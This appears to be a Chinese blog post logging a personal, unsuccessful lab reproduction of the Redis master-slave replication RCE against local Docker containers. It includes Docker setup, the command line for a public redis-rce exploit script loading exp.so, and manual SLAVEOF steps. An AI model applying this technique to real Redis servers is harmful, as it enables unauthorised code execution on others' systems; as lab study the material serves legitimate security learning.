渗透测试

Redis 基于主从复制的 RCE 利用方式

2019-07-16  本文已影响0人  违规昵称不予展示

失败了不看也罢:

首先安装了一个Ubuntu的虚拟机,然后在虚拟机里安装了Docker
安装虚拟机的方法就不多说了,安装Docker的方法见其官网https://docs.docker.com/install/linux/docker-ce/ubuntu/,英语不太好的同学可以使用翻译插件或用QQ浏览器自带的翻译插件(如果其他浏览器也行,请留言补充,google也行,但需要你...)
Docker安装好了,就去安装两台Redis5.0的数据库
sudo docker search redis5.0 搜索redis


sudo docker pull damonevking/redis5.0 拉取第三个基础镜像

sudo docker run -p 6379:6379 -d damonevking/redis5.0 redis-server映射端口并运行容器
-p, --publish ip:[hostPort]:containerPort | [hostPort:]containerPort
          Publish a container's port, or range of ports, to the host.
          将容器的端口或端口范围发布到主机。
这是-p参数的用法,
-d应该就是指定镜像了,不过我没找到😂

访问:你的ip:6379,如下图则搭建成功

然后再搭建一个,把主机端口16379映射到docker的6379上去
sudo docker run -p 16379:6379 -d damonevking/redis5.0 redis-server


看一下最简单的直接利用别人脚本的方式,这个我失败了

git clone https://github.com/Ridter/redis-rce.git去github上下载一个利用脚本
https://github.com/n0b0dyCN/redis-rogue-server下载一个so文件,然后放到redis-rce目录下


但是好尴尬,这个脚本不支持改端口啊
    241parser.add_argument("-r", "--rhost", dest="rhost", type=str, help="target host", required=True)
    242     parser.add_argument("-p", "--rport", dest="rport", type=int,
    243                         help="target redis port, default 6379", default=6379)
    244     parser.add_argument("-L", "--lhost", dest="lhost", type=str,
    245                         help="rogue server ip", required=True)
    246     parser.add_argument("-P", "--lport", dest="lport", type=int,
    247                         help="rogue server listen port, default 21000", default=21000)
    248     parser.add_argument("-f", "--file", type=str, help="RedisModules to load, default exp.so", default='exp_lin.so')
    249     parser.add_argument("-a", "--auth", dest="auth", type=str, help="redis password")
    250     parser.add_argument("-v", "--verbose", action="store_true", help="show more info", default=False)
    251     options = parser.parse_args()

看了一下源码,好吧可以指定端口,原来是我的姿势不对
我关机重启了,不记得镜像名称了啊,->查看你有哪些镜像的命令为sudo docker images
好像不需要开两个镜像,用代码的话,一个目标redis就好了
python3 redis-rce.py -r 172.17.0.2 -L 127.0.0.1 -f exp.so自己改ip地址


但我不成功啊

再换个别人的脚本,然后还是不行啊,这都是最后一步了啊,为啥不行啊

用tcpdump可以看到,确实把exp.so写进去了啊
难受

开始手动的方法吧

这次需要两台redis了,按照前面的方法,开两台redis吧。


杀死docker进程的命令为sudo docker kill xxxxxxxxx为sudo docker ps命令列出来进程序号,只需要输入前几位就行
好了,先下载一个redis的客户端
sudo apt install redis-tools
然后连接上16379那台,作为从机
sanqiushu@sanqiushu-VirtualBox:~/redis-rogue-server-master$ redis-cli -p 16379
127.0.0.1:16379> SLAVEOF 127.0.0.1 6379
OK

出现了,不行怪,别人可以我不行,主redis set一个值,从redis get不到,难受
经过一番折腾,发现了,SLAVEOF这个ip有问题,要写docker容器的ip
如何查看docker容器的ip见https://blog.csdn.net/sannerlittle/article/details/77063800

127.0.0.1:16379> SLAVEOF 172.17.0.2 6379
OK
127.0.0.1:16379> get hi
"hi"
127.0.0.1:16379> 

终于好了,也许上面那个用别人代码不行也是这个原因吧
如果我们想解除主从关系可以执行SLAVEOF NO ONE
又试了一下别人代码


这是抓包看到的,这都是啥啊,崩溃啦,还是不行啊
继续手动吧
或许是我的redis没有这几个命令吧,
那进入docker容器,看看能不能安装个命令吧
以下为搜集到的资料,但没有实践


感谢以下前辈:
如何进入Docker容器 https://blog.csdn.net/u010397369/article/details/41045251
Redis Modules: an introduction to the API https://redis.io/topics/modules-intro
Redis基于主从复制的RCE 4.x/5.x 复现https://www.cnblogs.com/paperpen/p/11178751.html
浅析Redis中SSRF的利用 https://xz.aliyun.com/t/5665
上一篇下一篇

猜你喜欢

热点阅读